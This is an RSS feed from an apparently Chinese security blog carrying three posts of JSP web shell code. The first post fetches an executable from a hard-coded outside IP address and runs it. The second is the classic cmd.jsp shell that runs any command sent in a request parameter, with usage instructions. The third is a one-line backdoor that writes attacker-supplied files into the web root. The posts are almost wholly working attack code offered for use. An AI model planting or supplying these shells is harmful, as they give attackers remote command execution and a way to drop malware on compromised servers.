<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; Jsp</title>
	<atom:link href="http://www.4shell.org/archives/tag/jsp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>JSP下载并执行代码</title>
		<link>http://www.4shell.org/archives/810.html</link>
		<comments>http://www.4shell.org/archives/810.html#comments</comments>
		<pubDate>Thu, 25 Jun 2009 09:25:44 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Jsp]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/810.html</guid>
		<description><![CDATA[代码如下：<br/>
]]></description>
			<content:encoded><![CDATA[<p>代码如下：<br/>
<p class="code"><code>&lt;%@&nbsp;page&nbsp;import="java.io.*,&nbsp;java.net.*"&nbsp;%&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&lt;%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>try&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;//String&nbsp;exe&nbsp;=&nbsp;request.getParameter("exe");&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;urlname&nbsp;=&nbsp;"http://58.103.196.210:8080/webdav/ip.exe";&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;URL&nbsp;url&nbsp;=&nbsp;new&nbsp;URL(urlname);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;URLConnection&nbsp;conn&nbsp;=&nbsp;url.openConnection();&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;filename&nbsp;=&nbsp;new&nbsp;String("caa.exe");&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;FileOutputStream&nbsp;outf&nbsp;=&nbsp;new&nbsp;FileOutputStream(filename);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;conn.setDoInput(true);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;InputStream&nbsp;inStream&nbsp;=&nbsp;conn.getInputStream();&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;BufferedInputStream&nbsp;input&nbsp;=&nbsp;new&nbsp;BufferedInputStream(inStream);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;byte[]&nbsp;b&nbsp;=&nbsp;new&nbsp;byte[1024];&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;a&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while((a&nbsp;=&nbsp;input.read(b,0,b.length))&nbsp;!=&nbsp;-1){&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outf.write(b,0,a);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;outf.flush();&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;input.close();&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;outf.close();&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;//run&nbsp;the&nbsp;exe&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Process&nbsp;child&nbsp;=&nbsp;Runtime.getRuntime().exec(filename);&nbsp;&nbsp;&nbsp;&nbsp;<br/>}&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(IOException&nbsp;e){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;System.err.println(e);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>%&gt;&nbsp;&nbsp;&nbsp;<br/></code></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2008年11月17日 -- <a href="http://www.4shell.org/archives/624.html" title="cmd.jsp 经典版">cmd.jsp 经典版</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/16.html" title="JSP一句话后门">JSP一句话后门</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/810.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cmd.jsp 经典版</title>
		<link>http://www.4shell.org/archives/624.html</link>
		<comments>http://www.4shell.org/archives/624.html#comments</comments>
		<pubDate>Mon, 17 Nov 2008 06:33:16 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Jsp]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/624.html</guid>
		<description><![CDATA[[CODE_LITE]<br />< %@ page import="java.io.*" %><br />< %<br/>try {<br />String cmd = request.getParameter("cmd");<br />Process child = Runtime.getRuntime().exec(cmd);<br />InputStream in = child.getInputStream();<br />int c;<br />while ((c = in.read()) != -1) {<br />out.print((char)c);<br />}<br />in.close();<br />...
]]></description>
			<content:encoded><![CDATA[<p class="code"><code>&lt;%@ page import="java.io.*" %&gt;<br />
&lt;%<br />
try {<br />
String cmd = request.getParameter("cmd");<br />
Process child = Runtime.getRuntime().exec(cmd);<br />
InputStream in = child.getInputStream();<br />
int c;<br />
while ((c = in.read()) != -1) {<br />
out.print((char)c);<br />
}<br />
in.close();<br />
try {<br />
child.waitFor();<br />
} catch (InterruptedException e) {<br />
e.printStackTrace();<br />
}<br />
} catch (IOException e) {<br />
System.err.println(e);<br />
}<br />
%&gt;<br />
</code></p>
<p>用法：cmd.jsp?cmd=你要执行的命令</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年06月25日 -- <a href="http://www.4shell.org/archives/810.html" title="JSP下载并执行代码">JSP下载并执行代码</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/16.html" title="JSP一句话后门">JSP一句话后门</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/624.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JSP一句话后门</title>
		<link>http://www.4shell.org/archives/16.html</link>
		<comments>http://www.4shell.org/archives/16.html#comments</comments>
		<pubDate>Thu, 21 Sep 2006 02:55:58 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Jsp]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/16.html</guid>
		<description><![CDATA[java是 面向对象编程的语言了！ 啥都是对象！基于编译与解析之间~~-_- ... 估计没有eval execute这样功能的函数了！...但是还是可以留一句话后门的 本来我想用反射实现 像 eval这样的功能.....但是失败了！郁闷！<br /><br />后来没有办法~~ 算了~~ 这样实现吧！
]]></description>
			<content:encoded><![CDATA[<p>信息来源：s0n9'5 B1o9</p>
<p>java是 面向对象编程的语言了！ 啥都是对象！基于编译与解析之间~~-_- ... 估计没有eval execute这样功能的函数了！...但是还是可以留一句话后门的 本来我想用反射实现 像 eval这样的功能.....但是失败了！郁闷！</p>
<p>后来没有办法~~ 算了~~ 这样实现吧！</p>
<p class="code"><code>&lt;%<br />
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());<br />
%&gt;<br />
</code></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年06月25日 -- <a href="http://www.4shell.org/archives/810.html" title="JSP下载并执行代码">JSP下载并执行代码</a></li><li>2008年11月17日 -- <a href="http://www.4shell.org/archives/624.html" title="cmd.jsp 经典版">cmd.jsp 经典版</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/16.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

